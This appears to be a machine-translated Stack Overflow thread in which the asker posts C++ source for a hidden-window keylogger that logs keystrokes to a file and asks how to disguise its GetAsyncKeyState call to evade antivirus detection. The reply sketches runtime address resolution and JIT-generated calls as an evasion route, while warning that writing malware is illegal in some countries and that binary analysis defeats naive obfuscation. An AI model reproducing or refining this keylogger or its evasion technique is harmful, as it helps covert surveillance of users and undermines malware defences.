Abd*_*nan -2 c++ windows obfuscation antimalware
我正在制作我自己的源代码混淆器,我注意到如果源代码中有这样的函数调用,一些防病毒引擎会检测到一个简单的键盘记录器。“获取ASyncKeyState”。以这个源代码为例,它是一个简单的键盘记录器主函数。
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 8; KEY <= 190; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
if (SpecialKeys(KEY) == false) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我想混淆“GetAsyncKeyState”名称的函数调用,以便任何 AV 都无法将其检测为键盘记录器。我对使用序号和 GetProcAddress 的函数调用的实现感到困惑。就像我在下面的代码中尝试过的一样。
typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
// Get a handle to the DLL module.
hinstLib = LoadLibrary(TEXT("user32.dll"));
// If the handle is valid, try to get the function address.
if (hinstLib != NULL)
{
ProcAdd = (MYPROC)GetProcAddress(hinstLib, "GetAsyncKeyState");
// If the function address is valid, call the function.
if (NULL != ProcAdd)
{
fRunTimeLinkSuccess = TRUE;
(ProcAdd)(L"Message sent to the DLL function\n Loaded Wao");
printf("Yahooo Function Called");
}
// Free the DLL module.
fFreeResult = FreeLibrary(hinstLib);
}
// If unable to call the DLL function, use an alternative.
if (!fRunTimeLinkSuccess)
printf("Message printed from executable\n Not Worked Soory");
getch();
return 0; }
Run Code Online (Sandbox Code Playgroud)
这种实现是不可理解的。也请解释一下。
我只需要等效的“GetAsyncKeyState(Key)”,以便我的混淆器检测到该函数调用并将其替换为等效的调用(动态),以便我可以绕过静态分析检测。
我正在制作我自己的源代码混淆器
其中一些是可以买到的。一个实用的方法是改进一些现有的开源编译器(如GCC或Clang)以在其中添加混淆。使用 GCC,您可以为此编写GCC 插件(例如,在Bismon静态分析器的帮助下)。请注意许可问题(您的 GCC 插件可能需要开源;请咨询您的律师)。
一种可能的方法是元编程(另请参阅RefPerSys)。您可以编写(例如使用asmjit或libgccjit)一些在运行时生成机器代码的C++ 代码。
而不是调用GetAsyncKeyState您的代码可以:
在初始化时(或不时地定期)获取地址GetAsyncKeyState并将其放入某个变量(某个函数指针)中
生成机器代码,GetAsyncKeyState在一些新函数中调用它foo
称呼 foo
请与您的律师确认您希望编码在您所在的国家/地区是否合法。在法国,编写恶意软件是一种刑事犯罪。
还要注意赖斯定理。
这样我就可以绕过静态分析检测....
这是一种幼稚的观点。即使进行了混淆,从技术上讲,可执行文件也可以通过BinSec等二进制分析工具进行逆向工程。
顺便说一句,编写源代码混淆器可能比花钱请律师编写好的EULA成本更高。
相反的方法是让你的代码开源(当然,你需要得到你的经理或客户的批准)。请参阅本报告草稿中的参考资料。或者阅读(并让你的经理阅读)开源的成功。将一些源代码开源有许多经济和技术原因:这篇论文(由诺贝尔奖获得者Jean Tirole合着)解释了它们。另请阅读什么是免费软件......
附注。对于与Bismon源静态分析器(如果提供额外资金,它可以演变成一个代码)或BinSec二进制静态分析器相关的问题(2021 年上半年),请通过电子邮件与我联系basile.starynkevitch@cea.fr
注意。我个人对您的技术方法的看法是它非常幼稚,并且不会保护您的专有软件免受严肃的二进制静态分析团队的攻击。